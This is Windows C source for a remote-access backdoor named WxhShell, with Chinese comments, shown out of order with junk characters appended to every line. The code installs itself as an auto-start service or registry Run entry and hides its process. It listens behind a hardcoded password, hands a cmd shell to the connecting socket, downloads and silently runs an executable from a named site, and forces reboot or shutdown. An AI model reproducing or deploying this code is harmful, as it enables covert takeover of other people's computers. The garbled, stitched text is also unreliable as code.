    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); iyZZ}M  
    if(Boot(SHUTDOWN)) ylf[/='0K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sgb*tE)T  
    else { u D 5%E7  
    closesocket(wsh); TfxwVPX  
    ExitThread(0); ,''cNV  
    } jg  2qGC  
    break; .UCt|> $  
    } ER2GjZa\z  
  // 获取shell V5"CSMe  
  case 's': { s}&bJ"!Z  
    CmdShell(wsh); RIM`omM  
    closesocket(wsh); "yz iXT@V  
    ExitThread(0); d &cU*  
    break;  c9''  
  } I0AJY )R  
  // 退出 rR ES8/  
  case 'x': { |4)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >4m'tZ8  
    CloseIt(wsh); -37a.  
    break; a^qNJ?R !  
    } Hs"(@eDV&J  
  // 离开 6TWWl U^e  
  case 'q': { 5/[H+O1;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u/b7Z`yX}  
    closesocket(wsh); h)lPi   
    WSACleanup(); b/$km?R  
    exit(1); :vx$vZb  
    break; A|#`k{+1-  
        } L(;WxHL  
  }  , iNv'  
  } U;_[b"SW%  
4Ph0:^i_  
  // 提示信息 vP%tk s+.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~ jU/<~s  
} Hi! Jj  
  } 80}+MWdo  
"}WJd$  
  return; o 6{\Zzp  
} S&O3HC  
p]D]: Z}P  
// shell模块句柄 Op.8a`XLt&  
int CmdShell(SOCKET sock) S-+"@>{HJ  
{ yn AB  
STARTUPINFO si; + j+5ud`  
ZeroMemory(&si,sizeof(si)); uxn)R#?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kEeo5X N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e;bYaM4 UX  
PROCESS_INFORMATION ProcessInfo; %Kh4m7  
char cmdline[]="cmd"; 8rZ!ia!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C F!Sa6  
  return 0; MmPU7Nl%X  
} seFGJfN\?f  
=-cwXo{Q.O  
// 自身启动模式 zo{/'BnU  
int StartFromService(void) EqiFy"H  
{ O-vGyNxP|  
typedef struct *YTo{~  
{ =d 2r6%v  
  DWORD ExitStatus; MfF~8  
  DWORD PebBaseAddress; #$~ba %t9%  
  DWORD AffinityMask; _i_Q?w`  
  DWORD BasePriority; ->z54 T  
  ULONG UniqueProcessId; # M, 7  
  ULONG InheritedFromUniqueProcessId; )"(]Lf's  
}   PROCESS_BASIC_INFORMATION; |rw%FM{F  
N(6|yZ<J3M  
PROCNTQSIP NtQueryInformationProcess; mM.*b@d-  
>DM44  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V~DMtB7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :nHKl  
/StTb,  
  HANDLE             hProcess; 5FVndMM#y  
  PROCESS_BASIC_INFORMATION pbi; :%&Q-kk4!  
M6 9 w-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vD/NgRBww  
  if(NULL == hInst ) return 0; nL@KX>  
{U]H;~3 ?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0l*]L`]L#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w1x" c>1C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'k;4j|<  
B0$:b !  
  if (!NtQueryInformationProcess) return 0; ~9^)wCM+  
<P ,~eX(r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @[<nQZw:  
  if(!hProcess) return 0; s..lK "b  
x_=n-lAF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kNqS8R|  
z't? ?6  
  CloseHandle(hProcess); gXT9 r' k  
Q'l^9Bz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zepop19  
if(hProcess==NULL) return 0; ?SQE5Z  
|@?%Ct  
HMODULE hMod; +cJy._pi!  
char procName[255]; :a8 YV!X  
unsigned long cbNeeded; OV2 -8ERS  
t- u VZ!`\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'C$XS>S  
#1c]PX  
  CloseHandle(hProcess); vr#+0:|  
-&82$mj  
if(strstr(procName,"services")) return 1; // 以服务启动 T J^u"j-'  
dF0,Y?  
  return 0; // 注册表启动 Dih6mTP{  
} ;Mm7n12z C  
-m'j]1  
// 主模块 iUMY!eqp  
int StartWxhshell(LPSTR lpCmdLine) %:>3n8n  
{ VUTacA Y>L  
  SOCKET wsl; ?7:KphFX)  
BOOL val=TRUE; mS>xGtD&K  
  int port=0; -aRU]kIf  
  struct sockaddr_in door; Rtb :nJ8  
v}@xlB=  
  if(wscfg.ws_autoins) Install(); M7f;Pa  
h1 WT  
port=atoi(lpCmdLine); sAo& uZ  
W)'*m-I  
if(port<=0) port=wscfg.ws_port; MUOa@O,  
WPZ?*Sx  
  WSADATA data; (npj_s!.C)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5tJ,7Y'  
*vgl*k?)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R(.}C)q3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +[\eFj|=  
  door.sin_family = AF_INET; 9[!,c`pw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u&G.4QQF  
  door.sin_port = htons(port); (>J4^``x=  
$VAx:Y|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s}5cSU!|  
closesocket(wsl); !$2Z-!  
return 1; $'W}aER  
} fA'qd.{f^  
ly% F."v  
  if(listen(wsl,2) == INVALID_SOCKET) { ob+euCuJ  
closesocket(wsl); !8 &=y  
return 1; T5urZq*R  
} +% /s*EC'w  
  Wxhshell(wsl); 0CSv10Tg  
  WSACleanup(); :^UFiUzrE  
'c\iK=fl  
return 0; I%|>2}-_U  
ntNI]~z&  
} R1&unm0  
=U|N=/y#hJ  
// 以NT服务方式启动 1+b{}d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) '|;X0fD  
{ 'mI'dG  
DWORD   status = 0; '=][J_  
  DWORD   specificError = 0xfffffff; ~['Kgh_;  
/iG*)6*^k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Pxn,Qw*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P"sA  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p=/m  
  serviceStatus.dwWin32ExitCode     = 0; oJ#,XMKga  
  serviceStatus.dwServiceSpecificExitCode = 0; at2FmBdu C  
  serviceStatus.dwCheckPoint       = 0; UR:aD_h  
  serviceStatus.dwWaitHint       = 0; m*e{\)rd#  
4|A>b})H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0$r^C6}f  
  if (hServiceStatusHandle==0) return; FP[!BUOf"  
k X {0y  
status = GetLastError(); aq7~QX_0G  
  if (status!=NO_ERROR) "3FihE]k  
{ `1:{0p2q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *<1r3!  
    serviceStatus.dwCheckPoint       = 0; @aJ!PV'ms  
    serviceStatus.dwWaitHint       = 0; EpQ8a[<-3  
    serviceStatus.dwWin32ExitCode     = status; `3p~m,  
    serviceStatus.dwServiceSpecificExitCode = specificError; <dyewy*.L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 12Y  
    return; 1+?^0%AC  
  } hsu{eyp  
fnx-s{c?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fdONP>K[E  
  serviceStatus.dwCheckPoint       = 0; UMX@7a,[3  
  serviceStatus.dwWaitHint       = 0; (a9d/3M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \.M*lqI  
} TLehdZ>^  
@cU&n6C@  
// 处理NT服务事件,比如:启动、停止 boG_f@dv(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1+?N#Fh  
{ hY`\&@  
switch(fdwControl) ybp -$e  
{ HR}bbsqxVf  
case SERVICE_CONTROL_STOP: pW4 cX  
  serviceStatus.dwWin32ExitCode = 0; YBh'EL}P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9@+5LZR  
  serviceStatus.dwCheckPoint   = 0; 8,dBl!G=  
  serviceStatus.dwWaitHint     = 0; O12eH  
  { g+X}c/" .  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k4 F"'N   
  } Cu6%h>@K$  
  return; 2wF8 P)  
case SERVICE_CONTROL_PAUSE: vv26I  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "Ks,kSEzu  
  break; }1IpON  
case SERVICE_CONTROL_CONTINUE: #Fyuf,hw4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^pHq66d%Z  
  break; Ar~"R4!  
case SERVICE_CONTROL_INTERROGATE: HaIM#R32T  
  break; L5MzLE&~  
}; sVex (X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b86}% FM  
} k{t`|BnPKB  
vm>b m  
// 标准应用程序主函数 (h:Rh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 37}D9:#5C  
{ rj!0GI  
#c2ymQm  
// 获取操作系统版本 ut r:J  
OsIsNt=GetOsVer(); Y))NK'B5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^j7azn  
*2jK#9"MP  
  // 从命令行安装 r&FDEBh  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6-O_\Cq8  
bJs9X/E  
  // 下载执行文件 @B}aN@!/  
if(wscfg.ws_downexe) { 4[N^>qt =  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y!xE<S&Y  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,a#EW+" Z  
} !>:?rSg*  
tJN<PCG6"  
if(!OsIsNt) { K(aJi,e>  
// 如果时win9x,隐藏进程并且设置为注册表启动 L@fY$Rw  
HideProc();  O#I1V K  
StartWxhshell(lpCmdLine); Sfdu`MQR  
} *g^x*|f6  
else ,i@X'<;y  
  if(StartFromService()) !W?gR.0$=  
  // 以服务方式启动 Kv~U6_=1O  
  StartServiceCtrlDispatcher(DispatchTable); _o8 ?E&d  
else o=1X^,  
  // 普通方式启动 JfPD}w  
  StartWxhshell(lpCmdLine); G}p\8Q}'  
'F3)9&M  
return 0; qgrg CJ  
} vx4+QQY P  
m4*@o?Ow  
G z)NwD  
Po%(~ )S>  
=========================================== Dl}$pN  
O+ICol  
t%8d-+$  
c%qv9   
C`q@X(_   
?Q&yEGm(  
" Q$fmD  
A@Dw<.&_I  
#include <stdio.h> sq'Pyz[[  
#include <string.h> YID4w7|  
#include <windows.h> c_>f0i  
#include <winsock2.h> Od|$Y+@6  
#include <winsvc.h> #^ ]n0!  
#include <urlmon.h> mml z&h  
P67o{EdK  
#pragma comment (lib, "Ws2_32.lib") 5scEc,JCi  
#pragma comment (lib, "urlmon.lib") AoyX\iqQ  
M>/Zbnq  
#define MAX_USER   100 // 最大客户端连接数 aCL!]4K84$  
#define BUF_SOCK   200 // sock buffer jq!tT%o*B  
#define KEY_BUFF   255 // 输入 buffer 4 uQT5  
K^R,Iu/M  
#define REBOOT     0   // 重启 @$z<i `4  
#define SHUTDOWN   1   // 关机 e>AE8T  
{` w;39$+  
#define DEF_PORT   5000 // 监听端口 R=KQ  
vI@%Fg+D  
#define REG_LEN     16   // 注册表键长度 wiBVuj#  
#define SVC_LEN     80   // NT服务名长度 Ot`VR&}  
qcT'nZ:  
// 从dll定义API ,#8e_3Z$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n..g~ $k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^urDoB:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q1z;/A$Al  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C$5[X7'  
%!1Q P[}K  
// wxhshell配置信息 _l1NKk  
struct WSCFG { `ta7Gc/:UY  
  int ws_port;         // 监听端口 *Aa?yg:=  
  char ws_passstr[REG_LEN]; // 口令 fYW6b[lI  
  int ws_autoins;       // 安装标记, 1=yes 0=no %D[0nt|X  
  char ws_regname[REG_LEN]; // 注册表键名 5>TK^1 :  
  char ws_svcname[REG_LEN]; // 服务名 l\n@cQR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kTvd+TP4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9 '2_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ERN>don2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9WR6!.y#f  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?)#5X_V-q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ',S'.U  
O &-wxJ]S  
}; d0,s"K7@  
fX|Y;S-@+  
// default Wxhshell configuration >_LDMs[-p  
struct WSCFG wscfg={DEF_PORT, T'b_W,m~,u  
    "xuhuanlingzhe", =*LS%WI  
    1, %x} O1yV  
    "Wxhshell", n9xAPB }  
    "Wxhshell", WH \)) y-  
            "WxhShell Service", Alxx[l\<J  
    "Wrsky Windows CmdShell Service", Pp5^@A  
    "Please Input Your Password: ", x>Jr_A(  
  1, f-7 1~  
  "http://www.wrsky.com/wxhshell.exe", AoI/n4T^  
  "Wxhshell.exe" 9,"L^W8"k  
    }; Kc^;vT>3  
LoGVwRmoC  
// 消息定义模块 Y(cGk#0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W}]%X4<#rN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; NSDv ;|f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _zwUE  
char *msg_ws_ext="\n\rExit."; 'uxX5k/D@t  
char *msg_ws_end="\n\rQuit."; s]JF0584  
char *msg_ws_boot="\n\rReboot..."; _> *j H'  
char *msg_ws_poff="\n\rShutdown..."; L;f!.FX#  
char *msg_ws_down="\n\rSave to "; E\4 +_L_j  
= MOj|NR [  
char *msg_ws_err="\n\rErr!"; &HY+n) o  
char *msg_ws_ok="\n\rOK!"; E2{FK)qT  
SE~[bT  
char ExeFile[MAX_PATH]; >lIk9|  
int nUser = 0; PxS8 n?y  
HANDLE handles[MAX_USER]; !dC<4qZ\C  
int OsIsNt; x3"#POp  
|1>*;\o-  
SERVICE_STATUS       serviceStatus; JC3m.)/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >L 0_dvr  
h^o{@/2  
// 函数声明 E3iW-B8u8  
int Install(void); :B:"NyPA  
int Uninstall(void); 6 M*O{f  
int DownloadFile(char *sURL, SOCKET wsh); n= u&uqA*  
int Boot(int flag); &sL&\+=<(  
void HideProc(void); ?28N ^  
int GetOsVer(void); r|qp3x  
int Wxhshell(SOCKET wsl); JQ@E>o7_  
void TalkWithClient(void *cs); [YcG(^^  
int CmdShell(SOCKET sock); McQe1  
int StartFromService(void); d $Pab*  
int StartWxhshell(LPSTR lpCmdLine); 2 FW \O0U  
oczN5YSt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `6xkf&Kt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `u&Zrdr,  
gjAIEI  
// 数据结构和表定义 ixT:)|'i  
SERVICE_TABLE_ENTRY DispatchTable[] = )}?#  
{ A?pbWt ~}  
{wscfg.ws_svcname, NTServiceMain}, g #6E|n  
{NULL, NULL} &mtJRfnu  
}; HI11Jl}{  
=^5Alb a/  
// 自我安装 KW^7H  
int Install(void) O|M{-)  
{ BjzPz  
  char svExeFile[MAX_PATH]; .ODR]7{  
  HKEY key; q*7VqB  
  strcpy(svExeFile,ExeFile); vsl]92xI  
c>)Yt^ q&K  
// 如果是win9x系统,修改注册表设为自启动 d>t<_}  
if(!OsIsNt) {  D 'Zt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AQ[GO6$,%H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C .~+*"Vw  
  RegCloseKey(key); ^i} L-QR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #I bp(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2P@sn!*{1  
  RegCloseKey(key); uvG]1m#  
  return 0; dKxyA"@  
    } Evjj"h&0J  
  } 7G>dTO  
} Q{5kxw1ZF  
else { 3skC$mpJHw  
,~]tg77  
// 如果是NT以上系统,安装为系统服务 < RH UH)I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 57&b:0`p  
if (schSCManager!=0) S-|)QGxV6  
{ ,^. 88<  
  SC_HANDLE schService = CreateService k+ty>bP=  
  ( D,k"PaLP  
  schSCManager, Y/ .Z .FD`  
  wscfg.ws_svcname, RpD=]y!5_  
  wscfg.ws_svcdisp, T"DlT/\  
  SERVICE_ALL_ACCESS, ^8AXxE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , CyXR i}W.  
  SERVICE_AUTO_START, |* ;B  
  SERVICE_ERROR_NORMAL, ub\MlSr  
  svExeFile, z-.+x3&o @  
  NULL, 6U R2IxbE  
  NULL, [c|]f_ZdK  
  NULL, 5Ezw ~hn  
  NULL, Pf\D-1gi  
  NULL m4l& eEp  
  ); WL?\5?G 9l  
  if (schService!=0) Bx4w)9+3  
  { U_n9]Z  
  CloseServiceHandle(schService); .jk@IL  
  CloseServiceHandle(schSCManager); 9#MBaO8_"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); yooX$  
  strcat(svExeFile,wscfg.ws_svcname); ;CPr]avY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [J4gH^Z_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); io-![^{  
  RegCloseKey(key); "q.\>MCv  
  return 0; J2xw) +  
    } ~ijVmWNk  
  } B=^)Ub5'  
  CloseServiceHandle(schSCManager); ov_j4 j>6P  
} [8=vv7wS  
} )E-inHD /  
6&!PmKFO.  
return 1; Pu*6"}#~  
} lY?QQ01D  
Ne[7gxpu  
// 自我卸载 C8V/UbA /  
int Uninstall(void) BlA_.]Sg$  
{ xgKdMW'%g:  
  HKEY key; Z:sg}  
YH\OFg@7  
if(!OsIsNt) { )\J+Kiy)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1Y7Eajt-5  
  RegDeleteValue(key,wscfg.ws_regname); V4'YWdTi  
  RegCloseKey(key); lrIS{MJ+-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &)AVzN+*h  
  RegDeleteValue(key,wscfg.ws_regname); j)/nKh4O  
  RegCloseKey(key); c*L0@Ak%  
  return 0; Y STv\y  
  } PE3vQH=t~  
} mR?5G: W~R  
} 9NQlI1W z4  
else { 5#+^E{  
S/e2P|}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C(#u[8  
if (schSCManager!=0) %}Ss,XJ  
{ 0;AA/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?&63#B,iZ  
  if (schService!=0) /tf5Bv'<  
  { !O:y@  
  if(DeleteService(schService)!=0) { y}My.c  
  CloseServiceHandle(schService); pEIRh1  
  CloseServiceHandle(schSCManager); :+z4~% jA  
  return 0; "AnC?c9?-^  
  } uj R_"r|l  
  CloseServiceHandle(schService); JNt^ (z  
  } XkXHGDEf1  
  CloseServiceHandle(schSCManager); SEGri#s  
} @,cowar*  
} P(,p'I;j  
DVB{2~7 4  
return 1; -ZRO@&tMD  
} N343qU  
Q;43[1&3w  
// 从指定url下载文件 gy 3i+J  
int DownloadFile(char *sURL, SOCKET wsh)  a1t4Dd  
{ P3)Nl^/  
  HRESULT hr; X.f>'0i  
char seps[]= "/"; O&4SCVZp  
char *token; AP7Yuv`  
char *file; ]+XYEv  
char myURL[MAX_PATH]; ifUGY[L  
char myFILE[MAX_PATH]; Z{ X|6.  
jB$IyQ;@  
strcpy(myURL,sURL); zMm#Rhn  
  token=strtok(myURL,seps); |Lf"6^@yh  
  while(token!=NULL) rvbLyv;~  
  { @|63K)Xy  
    file=token; vY${;#~|  
  token=strtok(NULL,seps); R`DKu=  
  } Nn~~!q  
jr /pj?  
GetCurrentDirectory(MAX_PATH,myFILE); x7:s]<kE  
strcat(myFILE, "\\");  PT=2@kH  
strcat(myFILE, file); gcPTLh[^Er  
  send(wsh,myFILE,strlen(myFILE),0); T arIPp  
send(wsh,"...",3,0); ,9}h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ES.fOdx  
  if(hr==S_OK) aI6$?wus  
return 0; h]5C|M|  
else JORGj0v  
return 1; aB{vFTD5  
v/68*,z[  
} j53*E )d  
zr+zhpp  
// 系统电源模块 LcB]Xdsa(  
int Boot(int flag) 5_I->-<  
{ b&~4t/Vq  
  HANDLE hToken; ]b7zJUz  
  TOKEN_PRIVILEGES tkp; b[t>te  
r@+ri1c  
  if(OsIsNt) { OWjk=u2Lz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `e}bdj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ftvG\Tf  
    tkp.PrivilegeCount = 1; ~sl{|E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =vDEfO/T  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Rs-]N1V  
if(flag==REBOOT) {  86 W9rR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F)&@P-9+  
  return 0; aY'C%^h]  
} ]iN'x?Fo  
else { #{?PbBE}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P9^-6;'Y  
  return 0; trPAYa}W  
} uxtWybv  
  } 7n8~K3~;  
  else { _=Z,E.EN  
if(flag==REBOOT) { Xjo5v*Pu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Rz bj  
  return 0; s>;v!^N?u  
} 4zev^FR  
else { !;i`PPRwk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ox&P}P0f  
  return 0; 8+a4>8[M  
} s \;"X  
} E^ P,*s  
q|o}+Vr  
return 1; DoJ\ q+  
} =vQcYa  
HJXT9;w  
// win9x进程隐藏模块 !%^^\,  
void HideProc(void) z=rT%lz6  
{ # {w9s 0:  
ZHU5SXu  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %QH)'GJQ  
  if ( hKernel != NULL ) |Y$uqRdV  
  { *)ardZV${  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <49K>S9O  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3nT^?;-  
    FreeLibrary(hKernel);  87<-kV  
  } $@^pAP   
K`iv c N"  
return; i]Fp..`v~  
} *BR~}1 i  
;> _$`  
// 获取操作系统版本 ORyE`h  
int GetOsVer(void) NO|KVZ~  
{ iF-6Y0~8  
  OSVERSIONINFO winfo; [Sr,h0h6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8YZbP5'  
  GetVersionEx(&winfo); U=DmsnD,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A )^`?m3  
  return 1; GN ]cDik  
  else ]ndvt[4L  
  return 0; Kqp(%8mf  
} &Sl[ lXE  
y4t7`-,~  
// 客户端句柄模块 jhXkSj  
int Wxhshell(SOCKET wsl) Q<h-FW8z  
{ yaah*1ip[  
  SOCKET wsh; 9K5pwC\$%  
  struct sockaddr_in client; Rv#]I#O  
  DWORD myID; E~%jX }/  
r\b3AKrIN  
  while(nUser<MAX_USER) mQCeo}7N5  
{ 56+s~hG  
  int nSize=sizeof(client); Y? x,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xIxn"^'  
  if(wsh==INVALID_SOCKET) return 1; sm0xLZ  
5b!vgm#])  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;i Fz?d3;  
if(handles[nUser]==0) !lf|7  
  closesocket(wsh); ap&?r`Tu  
else 4]h =yc R  
  nUser++; $ et0s;GBv  
  } J)`-+}7$v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f|h|q_<;  
:n0vQ5a  
  return 0; bu:S:`  
} ln?v j)j  
;'5>q&[qbP  
// 关闭 socket 8Eakif0CO  
void CloseIt(SOCKET wsh) ;pqg/>W'  
{ PJ]];MQ  
closesocket(wsh); 2_n7=&  
nUser--; lz YEx  
ExitThread(0); o_@4Sl8  
} n#q<`}u,  
Cnbz=z  
// 客户端请求句柄 :bz}c48%  
void TalkWithClient(void *cs) [z9 `)VIe  
{ eZ|%<Wpu  
|$Xl/)Oq  
  SOCKET wsh=(SOCKET)cs; y.WEj?EL  
  char pwd[SVC_LEN]; FN\E*@>X=  
  char cmd[KEY_BUFF]; 4 !y%O  
char chr[1]; jDy-)2<  
int i,j; cW i}V  
T(f/ ?_%  
  while (nUser < MAX_USER) { Po ZuMF  
ebT:/wu,2  
if(wscfg.ws_passstr) { =x<ge_Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {DU`[:SQZg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oASY7k_3  
  //ZeroMemory(pwd,KEY_BUFF); EQf[,  
      i=0; (iL|Sq&}b  
  while(i<SVC_LEN) { f !s=(H;  
1+9W+$=h2  
  // 设置超时 POvP]G9'"  
  fd_set FdRead; Z8rvWH9  
  struct timeval TimeOut; Pa~)"u 8  
  FD_ZERO(&FdRead); ~(Q)"s\1I  
  FD_SET(wsh,&FdRead); :^kZ.6Q@  
  TimeOut.tv_sec=8; @&X|5p"[g  
  TimeOut.tv_usec=0; -7S g62THS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ezr:1 GJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /lo2y?CS*  
UD8op]>L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xZ6~Ma 2z  
  pwd=chr[0]; vH#huZA?7  
  if(chr[0]==0xd || chr[0]==0xa) { g=;%  
  pwd=0; #=6E\&NC  
  break; W}5xmz  
  } kL$!E9  
  i++; A<1hOSCz\  
    } n}'=yItVL1  
vU767/  
  // 如果是非法用户,关闭 socket 95YL]3V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S<4c r  
}  /% M/  
@^T1XX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _~piZmkG$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5\e9@1Rc  
"tB;^jhRs  
while(1) {  OU8Lldt  
Wzw7tLY._  
  ZeroMemory(cmd,KEY_BUFF); rd9e \%A  
=K6($|'=  
      // 自动支持客户端 telnet标准   XzIl`eH  
  j=0; j#+!\ft5  
  while(j<KEY_BUFF) { Fxm$9(Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1UE6 4Kl:S  
  cmd[j]=chr[0]; dYL"h.x  
  if(chr[0]==0xa || chr[0]==0xd) { (+B5|_xQu  
  cmd[j]=0; 4"(<X  
  break; S" xKL{5  
  } R:#k%}W  
  j++; +R|z{M)*  
    } CitDm1DXt/  
_NMm/]mN /  
  // 下载文件 oZ!m  
  if(strstr(cmd,"http://")) { 6"~P/\jP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F;+|sMrq  
  if(DownloadFile(cmd,wsh)) @ Wd9I;hWv  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  *T5!{  
  else w]]8dz  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UPG9)aF  
  } X&7 F_#s  
  else { Pmh8sw  
